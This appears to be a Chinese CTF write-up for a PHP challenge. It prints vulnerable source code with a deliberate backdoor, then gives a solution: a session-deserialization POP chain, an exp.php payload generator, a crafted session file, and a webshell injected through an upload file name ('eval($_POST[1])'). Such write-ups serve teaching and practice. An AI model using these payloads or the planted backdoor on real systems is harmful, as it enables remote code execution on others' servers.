Web1234复现题解
源码
class.php
php
<?php
class Admin{
public $Config;
public function __construct($Config){
//安全获取基本信息,返回修改配置的表单
$Config->nickname = (is_string($Config->nickname) ? $Config->nickname : "");
$Config->sex = (is_string($Config->sex) ? $Config->sex : "");
$Config->mail = (is_string($Config->mail) ? $Config->mail : "");
$Config->telnum = (is_string($Config->telnum) ? $Config->telnum : "");
$this->Config = $Config;
echo ' <form method="POST" enctype="multipart/form-data">
<input type="file" name="avatar" >
<input type="text" name="nickname" placeholder="nickname"/>
<input type="text" name="sex" placeholder="sex"/>
<input type="text" name="mail" placeholder="mail"/>
<input type="text" name="telnum" placeholder="telnum"/>
<input type="submit" name="m" value="edit"/>
</form>';
}
public function editconf($avatar, $nickname, $sex, $mail, $telnum){
//编辑表单内容
$Config = $this->Config;
$Config->avatar = $this->upload($avatar);
$Config->nickname = $nickname;
$Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");
$Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");
$Config->telnum = substr($telnum, 0, 11);
$this->Config = $Config;
file_put_contents("/tmp/Config", serialize($Config));
if(filesize("record.php") > 0){
[new Log($Config),"log"]();
}
}
public function resetconf(){
//返回出厂设置
file_put_contents("/tmp/Config", base64_decode('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9'));
}
public function upload($avatar){
$path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
file_put_contents($path,$avatar['fdata']);
return $path;
}
public function __wakeup(){
$this->Config = ":(";
}
public function __destruct(){
echo $this->Config->showconf();
}
}
class Config{
public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;
public function __sleep(){
echo "<script>alert('edit conf success\\n";
echo preg_replace('/<br>/','\n',$this->showconf());
echo "')</script>";
return array("uname","passwd","avatar","nickname","sex","mail","telnum");
}
public function showconf(){
$show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";
$show .= "nickname: $this->nickname<br>";
$show .= "sex: $this->sex<br>";
$show .= "mail: $this->mail<br>";
$show .= "telnum: $this->telnum<br>";
return $show;
}
public function __wakeup(){
if(is_string($_GET['backdoor'])){
$func = $_GET['backdoor'];
$func();//:)
}
}
}
class Log{
public $data;
public function __construct($Config){
$this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
}
public function __toString(){
if($this->data === "log_start()"){
file_put_contents("record.php","<?php\nerror_reporting(0);\n");
}
return ":O";
}
public function log(){
file_put_contents('record.php', $this->data, FILE_APPEND);
}
}
index.php
php
<?php
error_reporting(0);
include "class.php";
$Config = unserialize(file_get_contents("/tmp/Config"));
foreach($_POST as $key=>$value){
if(!is_array($value)){
$param[$key] = addslashes($value);
}
}
if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){
$Admin = new Admin($Config);
if($_POST['m'] === 'edit'){
$avatar['fname'] = $_FILES['avatar']['name'];
$avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);
$nickname = $param['nickname'];
$sex = $param['sex'];
$mail = $param['mail'];
$telnum = $param['telnum'];
$Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);
}elseif($_POST['m'] === 'reset') {
$Admin->resetconf();
}
}else{
die("pls login! :)");
}
分析&题解
在config里找到一串密码:
O:6:"Config":7:{s:5:"uname";s:5:"admin";s:6:"passwd";s:32:"50b9748289910436bfdd34bda7b1c9d9";s:6:"avatar";s:10:"/tmp/1.png";s:8:"nickname";s:15:"小熊软糖OvO";s:3:"sex";s:3:"女";s:4:"mail";s:15:"admin@admin.com";s:6:"telnum";s:11:"12345678901";}
使用?uname=admin&passwd=1q2w3e
登录
hint:session_start(),注意链子挖掘
思路
通过session_start
启动session
反序列化
以PHP为例,理解session
的原理
- PHP脚本使用 session_start()时开启
session
会话,会自动检测PHPSESSID
- 如果
Cookie
中存在,获取PHPSESSID
- 如果
Cookie
中不存在,创建一个PHPSESSID
,并通过响应头以Cookie
形式保存到浏览器
- 如果
- 初始化超全局变量
$_SESSION
为一个空数组 - PHP通过
PHPSESSID
去指定位置(PHPSESSID
文件存储位置)匹配对应的文件- 存在该文件:读取文件内容(通过反序列化方式),将数据存储到
$_SESSION
中 - 不存在该文件: session_start()创建一个
PHPSESSID
命名文件
- 存在该文件:读取文件内容(通过反序列化方式),将数据存储到
- 程序执行结束,将
$_SESSION
中保存的所有数据序列化存储到PHPSESSID
对应的文件中
反序列化链路挖掘
php
Config#__sleep -> Config.showconf() -> Log#__toString
exp.php
php
<?php
class Admin{
public $Config;
}
class Config{
public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;
}
class Log{
public $data;
}
$exp=new Config();
$sink=new Log();
$sink->data="log_start()";
$exp->avatar=$sink;
echo serialize($exp);
sess_Ec3o
文件内容
php
aaa|O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}
在⽂件名处写马,⽂件名为 1';eval($_POST[1]);# 即可
注意删去Cookie,防止再次写入 <?php error_reporting(0);